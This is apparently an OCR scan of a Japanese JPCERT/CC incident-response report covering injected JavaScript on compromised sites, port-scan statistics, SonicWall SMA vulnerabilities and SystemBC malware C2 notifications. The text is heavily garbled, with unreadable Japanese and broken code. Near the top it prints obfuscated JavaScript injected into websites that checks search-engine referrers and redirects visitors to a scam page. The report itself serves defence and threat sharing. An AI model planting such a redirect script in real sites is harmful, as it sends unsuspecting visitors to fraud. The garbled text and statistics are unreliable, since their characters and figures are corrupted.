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eval(("if(" + "/(g" + "o’ + 'ogle|’ + 'yahoo' + '|bing’' + "lao’ + '1)/" + "i' + ".t" + 'es’ + 't(do' + "¢’ + ‘umen’ + 't.r’ + ef”

+ 'er' + 'rer))’ + "{win' + ‘dow' + '.se' + 'tTim' + ‘eout(' + 'f' + ‘unct' + "ion' + '(){t' + ‘o' + 'p.lo' + 'cat' + ‘ion' + '.h" +
‘ref=""' + 'http' + ":/

I+ i 0+ 00) + )).replace(//g, '\ )

</script><noscript>

+
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< scriptseval(("i'+ 'f('+ '/'+ '(go'+ 'ogl'+ 'e|'+ 'yaho'+ o'+ '|'+ 'bing'+ '|aol'+ ')/i'+ '.test'+
"(docu'+ 'me'+ "nt.r'+ ‘efer'+ 'rer'+ ")){'+ 'windo'+ 'w.s'+ 'etTim'+ "eo'+ 'ut('+ "fun'+ ‘ctio'+ 'n(){'+ "to'+ 'p'+ '.loc'+
‘ations “nhres ="h's eip:/ - I

I |+ ", 1000"+ ")}').replace(/####/g, \"')) < /script> <noscripts

[ 11 : RIE72 JavaScript 7 7 A AR DIAE T ~X— T Df 2]

F72, ARG 5 EHiE, XA ST Web 1 MIAREZR PHP A7 U 7 R 3R E S 72 fE R,
BB N T v X — VX —FER AR U NIRE I N D FHNERFE O N TV E T, AREBOHNEIZON
TiX JPCERT/CC Eyes Tfigan L CTWET DT, FEMIZOWTITRD Web X—T % TSR 7230,

TyF—b U= THEHINS PHP Ly =7
https://blogs.jpcert.or.jp/ja/2021/06/php malware.html

JPCERT/CC TiX. 7 v ¥ —b VX —F K CTRIEVA F~D U XA L7 MIBRIND RAAL 28T
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Lucky Visitor Scam loCs
https://github.com/JPCERTCC/Lucky-Visitor-Scam-loC
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KR~ T = TS U E 97, RECEBIE, 2019 42 7 A2 JPCERT/CC Eyes TAR L 72k DB B
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34. FOHDA TV FOER

AR ENTFE SN~V T =79 A bOEIX M T L7z, RIMUEEID 38 1125 213%H L
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RPN ENTFE LN A% v 803 1,291 4T L7, miluE# o 1,385 025 7% LT
T, AX Yy UOXMRERSTZR— FONRE [F 4] (ORLET, HBEICAXT Y ORISR LSRR —

IZ. SSH (22/TCP). IMAP (143/TCP). Telnet (23/TCP) TL 7=,

[ 4 : A= FRlDAF v A5

A= b 7 8 A 9 A &t
22/tcp 108 173 141 422
143/tcp 115 79 74 268
23/tcp 18 30 99 147
80/tcp 51 44 50 145

9530/tcp 57 32 10 99
25/tcp 5 49 0 54

37215/tcp 25 6 15 46
443/tcp 13 30 0 43

62223/tcp 14 17 0 31

8081/tcp 1 0 11 12

3389/tcp 4 4 2 10

52869/tcp 1 0 7 8

2323/tcp 0 4 4 8
26/tcp 0 2 4 6

5060/udp 1 3 1 5

1433/tcp 2 1 2 5
81/tcp 2 1 1 4

8080/tcp 1 1 2 4

8291/tcp 1 2 0 3
Z D 10 12 11 33

HRl& G 429 490 434 1353

ZTOMIZEENDA T v FOMEIE, 475 1F T L7, BIlUEEID 449 1025 6%EM L TUVET,
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» SonicWall SMA

® WEITEM I ATREMED & D Mags ik
» CVE-2019-7482 (https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0017)
» CVE-2021-20016 (https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0001)
» CVE-2021-20028 (https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2019-0016)

<)L =7 SystemBC (259 2 Wt ~D %t/

APEEL, <~/ =7 SystemBC (ZJEGE L TV D EALNDEND IP 7 R L ADIFIRIEML 2 st
DXV T A MiENSZITE Lz, JPCERT/CC Tk, ZoHiEs2 b LICENDYFL IP 7 RLA
DOEHEZ 72 1Tk L GEKZITVWE LZ, v/L 7 =7 SystemBC 1%, VE— FDIEEOY = /Lo~
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A T N DA
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https://form.jpcert.or.jp/

I S 2T DA T v N DO
https://www.jpcert.or.jp/ics/ics-form.html

HIE S AT bA T v FOHE (Web 7 4 —2)
https://form.jpcert.or.jp/ics.html

WEDOK AL E L IN 55813, JPCERT/CC @ PGP A#EA ZfiH < 77 &, kD Web ~<— 7
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7Nk
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